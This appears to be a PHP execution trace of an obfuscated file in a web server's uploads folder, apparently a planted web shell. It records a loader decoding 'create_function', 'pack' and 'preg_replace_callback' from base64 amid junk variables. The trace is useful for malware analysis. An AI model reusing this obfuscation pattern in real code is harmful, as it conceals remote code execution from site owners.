3	22	R			54
2		A						/var/www/html/uploads/alfa.php	73	$wREG[8] = 'e'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	23	0	0.003743	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'i'
3	23	1	0.003762	891704
3	23	R			63
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	24	0	0.003856	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'i'
3	24	1	0.003873	891704
3	24	R			63
2		A						/var/www/html/uploads/alfa.php	73	$wREG[9] = 'c'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	25	0	0.003906	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'9'
3	25	1	0.003923	891704
3	25	R			20
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	26	0	0.004021	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'9'
3	26	1	0.004040	891704
3	26	R			20
2		A						/var/www/html/uploads/alfa.php	73	$wREG[10] = 'o'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	27	0	0.004343	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'1'
3	27	1	0.004362	891704
3	27	R			17
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	28	0	0.004457	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'1'
3	28	1	0.004475	891704
3	28	R			17
2		A						/var/www/html/uploads/alfa.php	73	$wREG[11] = 'd'
2		A						/var/www/html/uploads/alfa.php	73	$i++
3	29	0	0.004507	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'Q'
3	29	1	0.004525	891704
3	29	R			54
2		A						/var/www/html/uploads/alfa.php	73	$HnHS = 'prIRpsjQmvCMIGkVUBziAZxZMnCTTeUiUczjTizfDArKFCFzcDh'
2		A						/var/www/html/uploads/alfa.php	73	$YrEXDaSY = 'bCaZPdprbOfhequgyyvCcFeJeuTNLDLlEMkSpzJqNOXrdryaOsCqWfzbYsOKuZvXLGQzE'
2		A						/var/www/html/uploads/alfa.php	73	$AsFUD = 'bVrQtnawkMlieLISXwHgyjUGNHaOhcWiXmzPAzljkxsOHagdVNKtxEYjkyyRAuZXgyMfwxqguHUag'
2		A						/var/www/html/uploads/alfa.php	73	$qGnqPZl = 'AAPbpxhBb'
2		A						/var/www/html/uploads/alfa.php	73	$BlxuvRKrRA = 'NAsICVCZLsNaNaeulyvDcNsMe'
2		A						/var/www/html/uploads/alfa.php	73	$zXS = 'EsRHecSnKneKqFOfbGtjQh'
2		A						/var/www/html/uploads/alfa.php	73	$NwsfaNAe = 'amCEGOExWsmfmndZ'
3	30	0	0.004625	891632	strpos	0		/var/www/html/uploads/alfa.php	73	2	'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3LG25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L'	'Q'
3	30	1	0.004643	891704
3	30	R			54
2		A						/var/www/html/uploads/alfa.php	73	$wREG[12] = 'e'
2		A						/var/www/html/uploads/alfa.php	73	$i++
2	4	1	0.004676	891440
2	4	R			'base64_decode'
1		A						/var/www/html/uploads/alfa.php	10	$HcXBhJ = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	10	$hEhDAulAUr = 'PsgyWnKmxUChZsQmuaJZivyFUOGNOzhcrnBMbKYyFZe'
1		A						/var/www/html/uploads/alfa.php	10	$CzeGW = 'jgdxdJzDAxMTWrqSJbJJuDeGcqCHOmSXSVUwFtYEpKXlAmDinlrIPVNrkpYybQVtlPOqhMtVVqgvD'
1		A						/var/www/html/uploads/alfa.php	10	$CTVEC = 'MXOzvWIfVfvBGKCaltZFgwSjQHPiiZRuxesRAzwwFQwKaYklQjrWe'
2	31	0	0.004746	891440	base64_decode	0		/var/www/html/uploads/alfa.php	10	1	'Y3JlYXRlX2Z1bmN0aW9u'
2	31	1	0.004761	891520
2	31	R			'create_function'
1		A						/var/www/html/uploads/alfa.php	10	$qbPxK = 'create_function'
1		A						/var/www/html/uploads/alfa.php	10	$HbrcTefVqb = 'GTlBvMrHMOnKKvDAcrSeMFtGnultuIszBEaWPQDBFqKpjnnldfrPjJUycfQxmhV'
1		A						/var/www/html/uploads/alfa.php	10	$PhgARO = 'eVnbFDekrOe'
1		A						/var/www/html/uploads/alfa.php	10	$YphwKcquKt = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	10	$BdnyhT = 'qlyJQmEJiyAjuiNiTCsRZDSgYTTtlEDBqbJFNmnvK'
1		A						/var/www/html/uploads/alfa.php	10	$CKKplJ = 'FyJwPtCmvMUdhMvkKdfuyMaSYhMrWwdBtMWHEyTYJNCqAwaJzfdXrDppL'
1		A						/var/www/html/uploads/alfa.php	10	$RqghLVC = 'xeRRRfHlBdMIziPrREiFZzsNeGjEFvcbYTTqyZBydMfbv'
1		A						/var/www/html/uploads/alfa.php	10	$qyepNfcKF = 'BzfNTIiGqRFRKEbpUDKvSUpKDJSP'
1		A						/var/www/html/uploads/alfa.php	10	$Gi = 'ITQfJqwgQOkQDpjzuVglRCJLnQMnwQfdKVISkeza'
1		A						/var/www/html/uploads/alfa.php	10	$CsS = 'GWHyyYYceGKKncGJQcwWPcFuYUCpnWRtsYQPWpRAUajhcqqssMpGnTzMNBa'
1		A						/var/www/html/uploads/alfa.php	10	$iFKEXcj = 'HQ'
1		A						/var/www/html/uploads/alfa.php	10	$rEnzCSx = 'jgdQSQxVSQlyQxxpRDZzs'
1		A						/var/www/html/uploads/alfa.php	10	$bO = 'rAVQigeV'
1		A						/var/www/html/uploads/alfa.php	10	$nD = 'hlDUADSMDEGqPSamXvYvHpyRtDbKz'
2	32	0	0.004944	891488	base64_decode	0		/var/www/html/uploads/alfa.php	10	1	'cGFjaw=='
2	32	1	0.004958	891560
2	32	R			'pack'
1		A						/var/www/html/uploads/alfa.php	10	$tzTVXlH = 'pack'
1		A						/var/www/html/uploads/alfa.php	10	$EeKIQr = 'JrJGfyXazPPVaRUbcgLldqWA'
1		A						/var/www/html/uploads/alfa.php	10	$PL = 'QFrlucTGxiKsAWslBBvcEFhwwApszhtPMJaFLukhbvYBQrlrRHtULZqGZdXXkqlxYmbifMPggOgWetMvzE'
1		A						/var/www/html/uploads/alfa.php	10	$kBeT = 'sZrLJTOifVkSTBcEJyppEgbmEOjdJTwBSNlbfZjluTDNuFr'
1		A						/var/www/html/uploads/alfa.php	10	$tFRPvmLDmf = 'IcWfcbskGOCuSYmxPAPYOTBIOaLlWNWEPSiRtABZnctfAfbpFQMSiNBw'
1		A						/var/www/html/uploads/alfa.php	10	$MsQjD = 'JeNBv'
1		A						/var/www/html/uploads/alfa.php	10	$SJLRVl = 'mmTLqmISWfeMYrnbeDnLF'
1		A						/var/www/html/uploads/alfa.php	10	$pkaQUbqZhy = 'EQJGVNDCcdXAAPlwEvChqcgxVydnAvZElJjgVMIXPeXOtIjXClESNjOIHSvHmukyCudWfk'
1		A						/var/www/html/uploads/alfa.php	10	$mvyg = 'xhcXnETnDJWO'
1		A						/var/www/html/uploads/alfa.php	10	$uWnLM = 'rGHxfmSPtgbMNHpZkHTFKBvLysalAhrQNYNTKFhDLIpYOE'
1		A						/var/www/html/uploads/alfa.php	10	$tgC = 'CLYeuJKFelmaEtpNJDEaZzcGbAdXkuANezRyHaCLmnkqGzCqbfPAErfFqjbBcCNgaddHdeRqtbFYBHNbMCbQsgUIPWiRyv'
1		A						/var/www/html/uploads/alfa.php	10	$fknRz = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	10	$WL = 'KIhpLtIwCswBdMQpgJvBrIGuRAFWtdSDLZRWRAsTrnuUZj'
1		A						/var/www/html/uploads/alfa.php	10	$WsniB = 'wCbAtHuknO'
1		A						/var/www/html/uploads/alfa.php	10	$axnFeV = 'C'
2	33	0	0.005153	891528	base64_decode	0		/var/www/html/uploads/alfa.php	10	1	'cHJlZ19yZXBsYWNlX2NhbGxiYWNr'
2	33	1	0.005167	891616
2	33	R			'preg_replace_callback'
1		A						/var/www/html/uploads/alfa.php	10	$PyJVsSHN = 'preg_replace_callback'
1		A						/var/www/html/uploads/alfa.php	10	$SVOuB = 'clgaHWjZAVdOTVxFiwFsGJtGaFRkDUReFXflTOKTJNHDiDhrYmidvBjUFafhvWMZtRLLFvEOIKQQnxgLiOpDpX'
1		A						/var/www/html/uploads/alfa.php	10	$QIrzG = 'TqergajZcKiSb'
1		A						/var/www/html/uploads/alfa.php	10	$zfclhkLjw = 'tNxsNNgWypzKwZvIyCVZJpQtSnIgfQkXDgOQuUMRjKaeJvNGWIFewV'
1		A						/var/www/html/uploads/alfa.php	10	$ghHNhD = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	10	$b64x = 'gMAVEqjlPGUmDeAgyjeamlyfFBcUqXVWKVrNkZYzftMIxLnUURUgcsLHsNagkWcURSgBSeaXxletWRmqJGVkxGsOTsVDnxWEPcFgGFDDQgVlXIBfnVrkaIytZSVNqRQETvKZZMCPSxApeavSvLcwtAOstKehBVLUqUtPfUdXrElVEfNZQpUiOIBGseNtzXMPredwYgSOKEJpJVNAjHhyOhdGmrYkNjzENCzkJsYtvhgdCTcMZkjnRMTDCrOqZmTMPsWyiuQDaXgDqiOPSxcKivmLLaAKnSwCjRZSKpvLLBNbjBqbXRLFlyPWXpfkgalQRkIaZCkKDXLMXAmUryZCVOySDcDicOYtzfuyhEhKbtVYShtjFsLZfJSIkUrnhpGGUzDBdLkeDFCvlUdRlpqRXHYHBpUJdBOXzsyCChfelIzxCcNnrdeNKcuLspuvphRNzOPavuEGBDCDFqQVSUICwBMmPfgDNXQLkelFyPKZsmCWbsrTLyUGZHTnMZRYxgKH'
1		A						/var/www/html/uploads/alfa.php	11	$dcrpt = 'FubmrFbBgTTHEceicOdDmgvppfxqPJQvdrguVHUBBmhepmMRAQulwOZKtwzifpciGibaQwCQIiuxvgnuwgFRvebNAAvePxMUfOUvJVkreENYjASFHWWbaXnaWJekFReKezEmuODXSQwBPngwjCWkYkkUtOfXejhIhLUbZXYRmuRbgXyrYTaWdKRwyWucFBKNLFOKblanfSplplCnfbjiLAeJVXLByvNIzatZLtmQKbcZmdMsfVaqVeYQbiQYdcGCCyCnrnDapFZCiLtNgScBWbrxJHUMJaplXqYnDBpsGNtnzLaeEcFZDvWmbqYkqMVnBTBETpVYcnLByLeBniBQDWCelBpCMjpnCpRvEMTGzEGWPKXcSysUTUYeUMfGVutWJjRMvKstNXPCgMdyJwsCqQfJblpxehtmrjYltqEgmShSElqmgInwXueYeSviZOwQxubQKewwXcpaNENTLAOhTSgXkaGjnbzLvZaEeVABXnakrNdcnSJGjPdTqJDDKbNE'
1		A						/var/www/html/uploads/alfa.php	12	$str_rot13 = 'ajqugUkgvRRqugnKsSnZUwmNbKdDePgEyVxEpHkJYbYRHLCZcpYXjLjlUmnybTbznzDbFNjcnhuVsVUuJSrTcBEWNrupjwmWupXybgaqNukeOEyxVpqYptUBJppsjbncqkZsQZgDtQgguedpStmGMHgUvVmEWAGlkFcaeidxyJdrNgGeYsKjYretlrwhQBSAGVBKDdGBMJRZpWdnpnxMEaFprAwHbNgHIgQLjwlwFCvTzXGNKDYnDcCuDxaEkgKsnZCWvmszPlSnjyAtaXHdaIxDfWGPcPGPOiMIUDHJPzwyWvQxtxZSFVUjRZYTOdibLuiGWPOLnkiKFzGxvFpZAiirhGJvKrVvKEaHtPRgzaqDYVatZOtzxBpdhxYROTLXxMEqawVzVkbTFBlEqdcMF'
1		A						/var/www/html/uploads/alfa.php	13	$b64x = 'QBMYEMFKzOFcOpKjkgNXuvhXISbSgdlWdXuHizRhmwjaLtjvzwstRAqYRRqXUCuxzNeILvpxQyyargUpDmHTMxRcnGaHhTdgfHnRbCnszkRPRMeTYkMjHcLUIkaqdewjLJANKmEiXvYOgCHEMSmuuYNBiOqmSLVcTUpDGSMDNjQTkWXWnjPHhDIQQXChiWjbQzeVQQzDzOWJLTeYCUfKWNZMKBTSxCuMayHrNfTLUPuehycKRHTNuSzEtRVpuOaTlHjymDiGsbjZZlJQtbElTCPLukzNYzGKFQHrtqWjrfiPRrGjsJvKkKUEutQsRxBWMimEXJNnOwDeliNdrINBRIFkavbsRDnckZGHITuWpWAZEncUvQwlXAVXUWOlYbnIBupimJeaFeZjscDlSyxPXslsNacMBPTbiikvrOvvSvdJWHUneQCCHNTUmVfOKYPTGzNWNiRecUnYBHLfymHEZAyMUDAEbOWHNKdAsUdTnrrpYbuVnazMZxytzXWAltHY'
1		A						/var/www/html/uploads/alfa.php	14	$dcrpt = 'ZMHmGRStzZIzMdCvCaeTnOAvNqRVWcIWnOIUFBMeZTcLWEFydJQQyQkKfbFcEMyrAfkFfWiEpkOkntiQcYGZOqJURNwvzTLyywCdRKHgUwQHOYWQXCpksXeijZDhsNfQIHtAsZfLvVtjuOzrrnBIkfqUesbWeglNOEMfDRqylhgFWFvmswuDBJWeaXaEELQRpCwSSLqETwiPAEBSZuUZcQdCmEFqpVgdxCVPnKtgFavEEVwcpPbQeFRRIVgwQnzNpTCCcuhHublywgZKwbZAfqrmlXhBKHnYZpacIHiCJTZeaYpVzNvddlPOIXpsdDPCRPdZxmBFfZiFxxAwkvYnfOBNLPEnstPjiTIefiiKHrPDOOYyIXkmkLZVADISWxBEqIhUqqeWGtzTGXQOUaaekazLcgcyccBSKIMZxqvdhTwOqmCJMCmXbLhErjbulDlvKxThmnKuGFHWRIFdKSakchOuQQmBSXVCTOifBSZgyfCOnhrXzrhaXwTmLfNDChEw'
1		A						/var/www/html/uploads/alfa.php	15	$str_rot13 = 'DfQuBQUZGwkYCCylpYvzbzLeDlaKrhkUmbNmrHmWdWUFysqlQKkRIVvlGvvxbGQpgDaxjMuMInQFffrVpBlXVGiBAcXCINqOPqlzcekjsBpWfFRvfcRahZaIByJjKyxANhYplIYEImZORRIwtzwaXVhytQgdnEDAkapxImArYzEpPlKIjFIgAPdteKwRNyrXyeuFQtvOSYcHJlOSQwyQKbiOLEeyBVvYZpcQHyEYVgfFsTWIqUyzVfnGiRDJMXgMLibtferbkwGcPbKeVHDQMqVuHyctVIEGqFywKpxUKCwzDfczlfOxUjQBHsubZXIqDfLMTHfEiCCkgeitJXpDgfEmxXpWuwlwaWhUcnXkPzUVcdNLAcOfHRsDnfzHBKdCfkVhySRMQMhTpUdOwrTChKfvqEcQOFRtPMB'
1		A						/var/www/html/uploads/alfa.php	16	$b64x = 'CBTFydqZkeZcphNOiBLNxJGwgZfpLLRmMKsjOgJYkhAYpNMXnWKjGPelOkZZVQLHBcrOiZlSGkQVXbsKyBuDqyOeInDdDnjDQZrYybreMGzihQTFrMHGjUjshMULadNQDEnaFderKDArtSviEbpmVydDKXNKBAZddMdiqIYZkXPdPjLSkZFFXIHHfuQfupiWaLeqSdODaDfqlQHVqLBmuHTYBJdUXLqXVvNOXarxdVlpLtkadkmWRfUsnxLkhbIDVUQsUGnXBAmlSWMvgysxdlPriZCPajsvdHMxmavNZgzrcKLIhcekOtCWtdLSMDNpjYkWYFJxkHNMrYTYaYinQjjImvayxNlfLxbjBkGlRTXIRRGrpnFEynmjhmhEZtjjpktQvzbMRyuIOzycMcHJQtTXFabdtkMhUfXqdybUVUbKSzldCsNRKGOOfpryYdeTIbiLYJeucfDuEOxFGjwPpKduyusxWwqdXXnVfspHWRaBfxFkgBzvKCPhwGdRbSVY'
1		A						/var/www/html/uploads/alfa.php	17	$dcrpt = 'rBwnfrcZZWBZRjDZxBGUeLeAJQfZzuPqUKczAEzYBzXRIAQEbVzFGcFOsKnrDCfWlhwkLujLSGCaGSEgNCLTEqHwA'
1		A						/var/www/html/uploads/alfa.php	18	$str_rot13 = 'wmGMMNAnrxlXSnULwHJrZMGKutqTvaqqmVCYhbMzXXwPKPZfwhxUtCFNUUGPuveGQGFXHQVENQSWGsbbzXWSZaFTUKIOfmuVSysAnnDAdVwimXkLuGDtGHmZRuNWGHrYehySUAsyvOGgkqsEVUXabJAsCMNitdgXKdPFcGcXTIddYUItPeTqNSHpEuWxWCTGeIKhNlEHUgKsbsjqVceIukXyEtUZVmezupGgAJNuQykrpvGkWjSrupOxhhwcuZBNnHTOPgHeESvsMACIiUyCILYPSTrLtsXGyrTmxasaSlsdlukuNJWvTuKMNaWfRUkpkeCHetgwdXYpQiiDrEykXhwjHRpzLZNvDOBgGgbKeZyuhGXYjvIHCdQiUFHfEUAgIBmpHNykMVFtbCrkwYrxBHFwlMapfZUmAGBHtyReuwxUxneslVOmCTINehBjgvwgaxNtUdWNZtHwflnsgbEIULUYsvhXpddpAqgTucHtUNnaYBReDUlWeFVwzCtNFWBE'
1		A						/var/www/html/uploads/alfa.php	19	$b64x = 'TJjfupUFOnsnrjqNWCEbsKibydCnLsDdaMiTACynppaFyqsTrwUJfdKDGLrQcTTCeBvEcsrrHrveflYVHsEmUNpZYFPaXhcbIxejPUZVKTzPfWklOOXIbmhZrwzpEBqLYUVmOuHznfNScXDQlaXmmelcBKrELgpiaJUnDBMqGZHhWjxhjvuVYeYYpObZuQHuzBhBbTQgSxOpgkwPeqLDTiBHwcfQSMJrmQsNjhuBehPkRLzwAJYSrYANaFcSsLJdbarkHKkkrAUHKucJcaBuzagzfIRWtAzTZPdGYOrpnkWxEyfgzGAxgfVLNMHFLfzKvbQtPgICQdYvBdBzjAVPFrARCGwnLUXFWmYkSfNJIkdiOdhXDCMHSLyvrThBnEgJReTiJfRrrUYexfBzhmfZXcTnwAnJeuRvXKDGqvwGOvjLZKjgWPGtRYfmztvDmlxjwzqLTLQhFZSeJBkeqQWhPbTNTOPfzlPUKeedpUKutCybcIFSYBZmCsZVfOaFzpYI'
1		A						/var/www/html/uploads/alfa.php	20	$dcrpt = 'idaglfzlRrJOtHukaAmwERsOrihESxbAZbfLGEwWUeKMlEWLdIggzXvPfCSxytWyUbIAedxyIGjTJFEmmjtkgNzMPsiMjFjdfrdkvAICFsvOWyAJgSTMftyujgftLPWQfZAZYIBDZvQvsqDyIWkNphGXnLPyALOfKneIVfLuAapsrRPYNzkBgqyTaNsayfFiSiqnnAHnBVFRmTpZSYBYnyRNkINimsQfafSnfYaGUFWGYKFQIFnvdehNmvVzlLdlrVAwUZbnFxTcgXSODFifJPSVjnUwyXHOTGJNGjAKGtMMqdZsIHxQxqlGcfBAcIpvnxHtHgCmzNzpQyGXfDnbszgudITFqHaceHVLOxxMkVAAuGyYikZAJfTlmlQCTqeXxZhKwEVGAwgtBdrJnPiwuBHHMWieMmBilIShMmNlItEiVuriIYdbYjILgrpsDQApXRVJdIulBxTwQKeyIhZHsHRXXfpavnOtEJBgQVsrsLmIvQFcxEinlzkIeYIzLwrp'
1		A						/var/www/html/uploads/alfa.php	21	$str_rot13 = 'hWxQnMBdKXFhZYFikuQPbuHrznvOUfXcBuSOFSrqqWWpuBxEuNSvgZkFMGtGkPIkjayOsODHjYWEzSHsFZMkYxqKCIPlXywgXTupHxwRvRUuJBLOAXyXTNHvVxGSubyruReANArIrKbAllNkIkiBYpvtkAkEaIuuYzUlYKTqvupfFbqNlyNJmIbxhLbISvbRTvcsfvgZOvetwTFgRtQdaRAHcBpUwQkOkMfPgLOUfsNalshcjXfJnFrqGeKbUUPfgvumfIhLZuLKkSlvpQdDVTsBYBbSwqxCjRnqzUAXnkIzDttRjVTeplemMfEHUbIesWTqqtmEcuCFNuWWpPADAEpMiTScuBGkWzAlrMpugqytJupyJOaiRPuZImBBmhLIGKtxVhQBxNTGHhdqvDXLssKzdlzPSjxytPUpWjPTxJzdqbtkE'
2	34	0	0.005501	891584	base64_decode	0		/var/www/html/uploads/alfa.php	22	1	'SCo='
2	34	1	0.005514	891648
2	34	R			'H*'
1		A						/var/www/html/uploads/alfa.php	22	$UWbtSKs = 'H*'
1		A						/var/www/html/uploads/alfa.php	22	$EEksr = 'ZjhlUiQiDKrsYcmtSrIVhzwMGfjghvVGECsyjHgMr'
1		A						/var/www/html/uploads/alfa.php	22	$QOwtkXpZRu = 'nhkDPLlFLcAFplPthbTzwmsTzFlijABWgL'
1		A						/var/www/html/uploads/alfa.php	22	$FnMfPmnTjK = 'OzwlkTJxgaiYgsIBqKLOhfYAQvHqTiigHFtsXBODBwahOIIDstrZXOzniFDBNLHuPzkmaYpaUqhIxPkpHaneOlswQU'
1		A						/var/www/html/uploads/alfa.php	22	$nDxafPOkYk = 'SvllbEyNRQwQFAPkYVmTVHHZZkEuRSviNfUnjsbaHWRLxfVv'
1		A						/var/www/html/uploads/alfa.php	22	$OPj = 'FhnZNlSInUOgeYSdDNPTQOpPDONEdslIYYgkkZ'
1		A						/var/www/html/uploads/alfa.php	22	$hA = 'PcubVChrepOuPxHjemOIMsvrNAGOfhXuJrvEtcvWQiqeewNIhB'
1		A						/var/www/html/uploads/alfa.php	22	$axz = 'dBJVfjNtfwrNehABlJIrPJlwDBIIybzaCIvHrhzWcPJHwihgspyGxibZiiHfjGFkNArDHqz'
1		A						/var/www/html/uploads/alfa.php	22	$NWWr = 'EXsvQCNYaWtjWGN'
1		A						/var/www/html/uploads/alfa.php	22	$XnvMwSjR = 'base64_decode'
1		A						/var/www/html/uploads/alfa.php	22	$b64x = 'SVTDbKRirSzLnCgJzlQhCxbDKFpGIqmZKgClquuHLssYuygsiWzjSaMbFBHMqUMaAnlPgewRwmppjwHSRfbKFnLjOSWdlhDLvnZbsVsnhHCRCiJtOjcSxnCKFynQeqaYEZZvUsICyKSZsaRFjuygHZQlWDBaTBYxAyRUpZVMimkZmbFVvCbBaslwUMVmmTimQAGeYaqgmAFzbJuVkVxKmhfGUatguBSjAypyyddjEJhesCZcWVMIdSNxsfDLgVvftiErlgApPItHJSJemUMPlYlEEpOKjiPbrSRDZsRnzKUHbcknXWDiuOMXCBgLiwmAndCMUSaSbuzcxJQuetbzGOVIOcSwyeVkiWxcPxVQqTtMciFGaHEfUANhCGDzKYisuFUiBPzRhRcJzIqzOTEISRpTxRsgpazJFtrgHPxnfzXdgmCuFGbyWqrtHiYViWdmpvtvJpiPOfSuRUOVZPSVFjNLRLGzIjLwEERmSzBfduAUNnplChGgQtRgdXFLgPhj'
1		A						/var/www/html/uploads/alfa.php	23	$dcrpt = 'QUTIutwOuRKzCdfgNjhyjLbQFePAPghebBlUThJmYSkZVqgJYngiyHydkncAuJEUjqPcxXPvPZukPZtNMYvkGTNqgpPZXTUhiiJFFXzTXSdlSwYdvunAMAPSOFRMyktftbKxZIrwAuHRqeVKXIJJIXaVbsHYbzdvamRZUHUUbaLrefACnIKvFLqHCxeDVixVUpuPvnJwNTlSzkuMSDGynVEpsISNqpIkcczyPHtDAFUYPNjhqPedkIsCPjpFYxpaYNXNurPtvJRJwaQMqUPZbgarQPVOljnjwlwPblhwUYeQzVbnPqmRVMhLBCYMkmvGyRUzCbuVAyLySMkIbxYXiFhjGgVQtQwqgqnIQHDPEpmxAxEbtbYbfFkLLFaDvVSBKFiALlPqZBlzYpAQqXrvDBFNGFraAIbJnJiYUxNTYYSwmslbPcVRDAEIEUJDDjlqSUnmrbfOzxjMPVmdXiUAhXilsrOUZAJRTWdjxJyWfHhuCuWzbQzjngvFxIYVhHMA'
1		A						/var/www/html/uploads/alfa.php	24	$str_rot13 = 'tPZRzdepSbVnuyCUKkVHWOQnSMtWkJxcyVTwyXKPyGcrDEkmOguLujylVRIFAEHxYATxWcluhpKKsUxGAQQuZneuEMYdqFaOEtkZvVtcJCMbVIHVyWOxjSqOFnrusQhviRudNlfVmrWIZcDWYrTiiiwmWMgnDNikFCnROSMajiIIkKEJAxriGMvCyapAOWLSzyiMrUlACuHmdkVEIllNXfOUgCvUzFlxcuitnusqNYCrJxurhFDeKQyQssjqWvMzOUrCOJRBgtRPpKFwphAZXxpPPzektRJHkaiYizZOrqEFaIapQZNmwCBKAfVSwdzGDgeLFdAvSDZSkZHAyumuVmdvsyNNbLTESXPWAORsrQkaqraNKmGfYjZrHMDIywMPSBkspbjesTEHjETtqAypiyFPJhXGdJU'
1		A						/var/www/html/uploads/alfa.php	25	$b64x = 'pBvSGrWPugrrlvpYLuLsvbDLinGRUZJiAeAFvWuOcKFNFTMPNWghXisFxyVQxFywJXadTTrvdViIpuxbqcIMkZQgxLWtqTnYrNBjHseKmMRafNBvPiGzIwGegbXxvkULYVuemynYJeZORZIfIndqiiTqkQleBfPYAIcMGqLpTjdKIkpqzsFgBzwkOgpOMDMlKOYqDiFwshfzsTPqLuxlssVgzJUkLgwvUTLybPtSWYsNRGdCZZmRrHXpPrzAWvvrNfnPuGgPEXCwDexcdjTUQqiGfhFcCZtpEGDXLjMqGOLJsHLVQdPgSxMxErYfQrUuwWshfDWMQgUiNeDdhsjzOVVSLUXBKrvGnlmtOiEepXMBbpEIfNgthCktwITFyNkLYWENeHrSFcufQXOvkuNsVyKQfdVDQFOPCsbfyRycTRiinwDXPPqkmzasCVvSBigCZhHxYeZrvhYiDBfRqUbcuCuvxnmxVtyuZfRxJqNEWkMYkrPBLRDetwYpjLlEdJYD'
